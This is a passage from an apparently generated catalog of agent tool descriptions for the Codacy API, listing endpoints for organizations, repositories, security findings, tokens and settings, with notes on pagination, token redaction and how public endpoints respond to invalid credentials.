codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_jira_tickets (read) — Get Jira tickets for a Codacy element via GET /organizations/{provider}/{remoteOrganizationName}/integrations/jira/tickets. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira/tickets. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_providersettings (read) — Get Git provider settings via GET /organizations/{provider}/{remoteOrganizationName}/integrations/providerSettings. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/providerSettings. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_slack (read) — Get the Slack integration of the organization via GET /organizations/{provider}/{remoteOrganizationName}/integrations/slack. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/slack. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_webhooks (read) — List webhook endpoints of the organization via GET /organizations/{provider}/{remoteOrganizationName}/integrations/webhooks. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/webhooks. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_join (read) — List requests to join an organization via GET /organizations/{provider}/{remoteOrganizationName}/join. Endpoint to list requests to join an organization by provider and organization name Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/join. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_metrics_ready (read) — Retrieve metrics that are ready for an organization via GET /organizations/{provider}/{remoteOrganizationName}/metrics/ready. Retrieve the list of metrics that have completed data collection for an organization. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/ready. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_people (read) — List people of an organization via GET /organizations/{provider}/{remoteOrganizationName}/people. List people of an organization Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/people. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_people_leave_check (read) — Check if the user can leave the organization via GET /organizations/{provider}/{remoteOrganizationName}/people/leave/check. Check if the user can leave the organization or returns the reasons why they can not. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/people/leave/check. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_people_suggestions (read) — List people suggestions for an organization via GET /organizations/{provider}/{remoteOrganizationName}/people/suggestions. List people suggestions for an organization Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/people/suggestions. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_peoplecsv (read) — Generate a CSV file listing the people of an organization via GET /organizations/{provider}/{remoteOrganizationName}/peopleCsv. Generate a CSV file containing the name, email, lastLogin, and lastAnalysis of each person of the organization GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/peopleCsv. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_projects_by_repositoryname_sbom (read) — Get a presigned URL for the latest SBOM of the repository via GET /organizations/{provider}/{remoteOrganizationName}/projects/{repositoryName}/sbom. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/projects/{repositoryName}/sbom. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories (read) — List organization repositories for the authenticated user via GET /organizations/{provider}/{remoteOrganizationName}/repositories. For Bitbucket you must URL encode the cursor before using it in subsequent API calls, as the pagination comes directly from the Git provider. This endpoint may return more results than those specified in the limit parameter. Note: When applied to public repositories, this operation does not require authentication. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname (read) — Fetch the specified repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_base_by_basecommituuid_head_by_headcommituuid_diff (read) — Get the human-readable Git diff between a head commit and a base commit via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/base/{baseCommitUuid}/head/{headCommitUuid}/diff. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/base/{baseCommitUuid}/head/{headCommitUuid}/diff. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_branches (read) — List repository branches via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches. Note: When applied to public repositories, this operation does not require authentication. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_branches_by_branchname_required_checks (read) — Get branch required status checks via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches/{branchName}/required-checks. Get branch required status checks GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches/{branchName}/required-checks. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_coverage_reports (read) — List coverage reports for a commit via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/coverage/reports. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/coverage/reports. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_coverage_reports_by_reportuuid (read) — Get a coverage report with its contents via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/coverage/reports/{reportUuid}. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/coverage/reports/{reportUuid}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_diff (read) — Get the human-readable Git diff of a commit via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/diff. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/diff. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_coverage_status (read) — List the most recent coverage reports and their status via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/coverage/status. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/coverage/status. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_directories (read) — List folders in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/directories. Returns the most recent analysis information for the folders directly inside a path of a repository, with metrics aggregated over every file in each folder's subtree. Use the path parameter to list the folders inside a folder; when absent or empty, the folders at the repository root are returned. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/directories. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_files (read) — List files in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files. Returns the most recent analysis information for the files in a repository as available on the Files page. Files that are ignored on Codacy aren't returned. Note: When applied to public repositories, this operation does not require authentication. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_files_by_fileid (read) — Get analysis information and coverage metrics for a file in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_files_by_fileid_coverage (read) — Get coverage information for a file in the head commit of a repository branch via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}/coverage. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}/coverage. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_files_by_fileid_duplication (read) — Get the list of duplicated code blocks for a file in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}/duplication. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}/duplication. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_files_by_fileid_issues (read) — Get the issue list for a file in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}/issues. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{fileId}/issues. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_files_by_filepath_content (read) — Returns the content of the given file for a given commit reference. If the requested file is over 1MB, a 'PayloadTooLarge' error is returned via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{filePath}/content. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/files/{filePath}/content. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_ignored_files (read) — List ignored files in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/ignored-files. Returns the most recent ignored files information. Note: When the repository has a Codacy configuration file 'hasCodacyConfigurationFile', this list of files are read-only, as they were ignored during the most recent analysis based on the configuration file Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/ignored-files. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_integrations_postcommithook (write) — Create a post-commit hook for a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/postCommitHook. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/postCommitHook. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_integrations_providersettings (read) — Get Git provider integration settings for a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/providerSettings. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/providerSettings. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_people_suggestions (read) — List people suggestions for a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/people/suggestions. List people suggestions for a repository Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/people/suggestions. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_diff (read) — Get the human-readable Git diff of a pull request via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/diff. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/diff. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_analysis (read) — Get the status of the repository setting Run analysis on your build server via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/analysis. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/analysis. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_file_extensions (read) — Get the list of supported file extensions associated with each language in a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/file-extensions. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/file-extensions. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_languages (read) — Get the list of all languages with their extensions and enabled status via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/languages. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/languages. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_commits (read) — Get quality settings for the commits of a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/commits. diffCoverageThreshold is never returned because this threshold isn't currently supported for commits. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/commits. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_pull_requests (read) — Get quality settings for the pull requests of a repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/pull-requests. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/pull-requests. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_repository (read) — Get quality settings for the specific repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/repository. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/repository. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_stored_ssh_key (read) — Get the public SSH key for the repository via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/stored-ssh-key. The returned key is the most recently generated and can be either a user or repository SSH key. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/stored-ssh-key. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tokens (read) — List the repository API tokens via GET /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens. Each token reports its name, expiration and creation date. Tokens created before creation dates were recorded have no createdAt CREDENTIAL REDACTED: this listing returns live Codacy API tokens, one of which is the credential this connection itself authenticates with, so Agentic Fabriq replaces each `token` value in the result. The `id` and `expiresAt` fields are returned intact and are what rotating or deleting a token needs. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_categories (read) — List security subcategories that have security issues via GET /organizations/{provider}/{remoteOrganizationName}/security/categories. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/categories. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_dashboard (read) — Get metrics for the security and risk management dashboard via GET /organizations/{provider}/{remoteOrganizationName}/security/dashboard. Deprecated: Use searchSecurityDashboard instead. Repository filtering is limited to 100 names. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/dashboard. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_dast_reports (read) — List uploaded DAST scan reports and their state via GET /organizations/{provider}/{remoteOrganizationName}/security/dast/reports. Results are sorted by submission date, from latest to earliest. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/dast/reports. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_items (read) — List security and risk management items for an organization via GET /organizations/{provider}/{remoteOrganizationName}/security/items. Deprecated: Use searchSecurityItems instead. Repository filtering is limited to 100 names. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/items. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_items_by_srmitemid (read) — Get a single security and risk management finding via GET /organizations/{provider}/{remoteOrganizationName}/security/items/{srmItemId}. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/items/{srmItemId}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_managers (read) — List organization admins and security managers via GET /organizations/{provider}/{remoteOrganizationName}/security/managers. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/managers. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_repositories (read) — List organization repositories that have security issues via GET /organizations/{provider}/{remoteOrganizationName}/security/repositories. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/repositories. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_security_sla (read) — Get the SLA configuration for an organization via GET /organizations/{provider}/{remoteOrganizationName}/security/sla. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/sla. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_segments_by_segmentkey_values (read) — Get the segment values for the organization by segment key via GET /organizations/{provider}/{remoteOrganizationName}/segments/{segmentKey}/values. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/segments/{segmentKey}/values. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_segments_keys (read) — Get the segment keys for the organization via GET /organizations/{provider}/{remoteOrganizationName}/segments/keys. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/segments/keys. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_segments_keys_ids (read) — Get the segment keys with IDs for the organization via GET /organizations/{provider}/{remoteOrganizationName}/segments/keys/ids. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/segments/keys/ids. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_segments_sync (read) — Get the status of the segments synchronization via GET /organizations/{provider}/{remoteOrganizationName}/segments/sync. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/segments/sync. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_segments_values_by_segmentkey (read) — Get segment values for a segment key via GET /organizations/{provider}/{remoteOrganizationName}/segments/values/{segmentKey}. Deprecated: Use getSegments instead. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/segments/values/{segmentKey}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_settings_submodules_check (read) — Check if the submodules option is enabled for the organization via GET /organizations/{provider}/{remoteOrganizationName}/settings/submodules/check. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/settings/submodules/check. Scopes: api. codacy_get_organizations_by_provider_installation_by_installationid (read) — Get organization by provider installation id via GET /organizations/{provider}/installation/{installationId}. Note Currently supports only gh as the provider parameter. GET /api/v1/codacy/organizations/{provider}/installation/{installationId}. Scopes: api. codacy_get_plans (read) — List available plans in Codacy via GET /plans. GET /api/v1/codacy/plans. Scopes: api. codacy_get_provider_integrations (read) — List provider integrations existing on Codacy's platform via GET /provider/integrations. List provider integrations existing on Codacy's platform PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/provider/integrations. Scopes: api. codacy_get_reports_enterprises_by_provider_by_enterprisename_seats_csv (read) — Get enterprise seats as a CSV file via GET /reports/enterprises/{provider}/{enterpriseName}/seats-csv. GET /api/v1/codacy/reports/enterprises/{provider}/{enterpriseName}/seats-csv. Scopes: api. codacy_get_reports_organizations_by_provider_by_remoteorganizationname_security_items (read) — Generate a CSV file listing all security and risk management items for an organization via GET /reports/organizations/{provider}/{remoteOrganizationName}/security/items. GET /api/v1/codacy/reports/organizations/{provider}/{remoteOrganizationName}/security/items. Scopes: api. codacy_get_tools (read) — Retrieve the list of tools via GET /tools. PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/tools. Scopes: api. codacy_get_tools_by_tooluuid_patterns (read) — Retrieve the list of tool patterns via GET /tools/{toolUuid}/patterns. Codacy documents this operation as requiring no authentication, so a successful result may not depend on this connection's credential. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/tools/{toolUuid}/patterns. Scopes: api. codacy_get_tools_by_tooluuid_patterns_by_patternid (read) — Retrieve a tool pattern via GET /tools/{toolUuid}/patterns/{patternId}. Get the definition of a specific pattern Codacy documents this operation as requiring no authentication, so a successful result may not depend on this connection's credential. GET /api/v1/codacy/tools/{toolUuid}/patterns/{patternId}. Scopes: api. codacy_get_user (read) — Get the authenticated user via GET /user. GET /api/v1/codacy/user. Scopes: api. codacy_get_user_emails (read) — List emails for the authenticated user via GET /user/emails. GET /api/v1/codacy/user/emails. Scopes: api. codacy_get_user_emails_settings (read) — Retrieve email notification settings via GET /user/emails/settings. Returns the current email notification preferences, including per-commit notifications, pull request notifications, and activity. GET /api/v1/codacy/user/emails/settings. Scopes: api. codacy_get_user_enterprise_integrations (read) — List user configured enterprise provider account tokens on Codacy's platform via GET /user/enterprise/integrations. GET /api/v1/codacy/user/enterprise/integrations. Scopes: api. codacy_get_user_integrations (read) — List integrations for the authenticated user via GET /user/integrations. List integrations for the authenticated user Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/user/integrations. Scopes: api. codacy_get_user_organizations (read) — List organizations for the authenticated user via GET /user/organizations. List organizations for the authenticated user Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/user/organizations. Scopes: api. codacy_get_user_organizations_by_provider (read) — List organizations for the authenticated user via GET /user/organizations/{provider}. List organizations for the authenticated user Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/user/organizations/{provider}. Scopes: api. codacy_get_user_organizations_by_provider_by_remoteorganizationname (read) — Get organization for the authenticated user via GET /user/organizations/{provider}/{remoteOrganizationName}. Get organization for the authenticated user GET /api/v1/codacy/user/organizations/{provider}/{remoteOrganizationName}. Scopes: api. codacy_get_user_tokens (read) — List the account API tokens of the authenticated user via GET /user/tokens. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. CREDENTIAL REDACTED: this listing returns live Codacy API tokens, one of which is the credential this connection itself authenticates with, so Agentic Fabriq replaces each `token` value in the result. The `id` and `expiresAt` fields are returned intact and are what rotating or deleting a token needs. GET /api/v1/codacy/user/tokens. Scopes: api. codacy_get_version (read) — Return the version of the Codacy installation via GET /version. PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. GET /api/v1/codacy/version. Scopes: api. codacy_patch_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_by_issueid (write) — Ignore or unignore an issue via PATCH /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/{issueId}. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/{issueId}. Scopes: api. codacy_patch_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_by_issueid_false_positive_ignore (write) — Ignore the false positive result in an issue via PATCH /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/{issueId}/false-positive/ignore. PATCH /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/{issueId}/false-positive/ignore. Scopes: api. codacy_patch_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_by_tooluuid (write) — Configure an analysis tool by enabling and disabling its patterns for a repository. This endpoint will apply the changes without verifying if the repository belongs to a coding standard via PATCH /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}. Scopes: api. codacy_patch_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_by_tooluuid_patterns (write) — Bulk updates the code patterns of a tool in a repository. Use filters to specify the code patterns to update, or omit the filters to update all code patterns via PATCH /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_analysisconfigurationminimumpermission (write) — Configure what your organization members can do across the Codacy platform via PATCH /organizations/{provider}/{remoteOrganizationName}/analysisConfigurationMinimumPermission. Define the lowest permission level that can configure patterns, configure which file extensions and branches are analyzed, and ignore issues and files Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/analysisConfigurationMinimumPermission. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_repositories (write) — Apply a coding standard to a list of repositories via PATCH /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/repositories. Link or unlink a coding standard to a list of repositories. If the coding standard is a draft, the changes will only be effective when promoting the draft coding standard. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/repositories. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_tools_by_tooluuid (write) — Configure a tool in a draft coding standard via PATCH /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}. Toggle a tool and configure its code patterns in a draft coding standard. Only the code patterns included in the body are updated, and if there are none only the enabled status of the tool is set. You can only update draft coding standards and configure a maximum of 1000 code patterns per call. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_gate_policies_by_gatepolicyid (write) — Update a gate policy via PATCH /organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_integrations_providersettings (write) — Create or update Git provider settings via PATCH /organizations/{provider}/{remoteOrganizationName}/integrations/providerSettings. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/providerSettings. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_branches_by_branchname (write) — Update the settings for a repository branch via PATCH /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches/{branchName}. Toggle analysis for a branch. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches/{branchName}. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_file (write) — Ignore or unignore a file via PATCH /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/file. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/file. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_integrations_providersettings (write) — Update Git provider integration settings for a repository via PATCH /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/providerSettings. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this 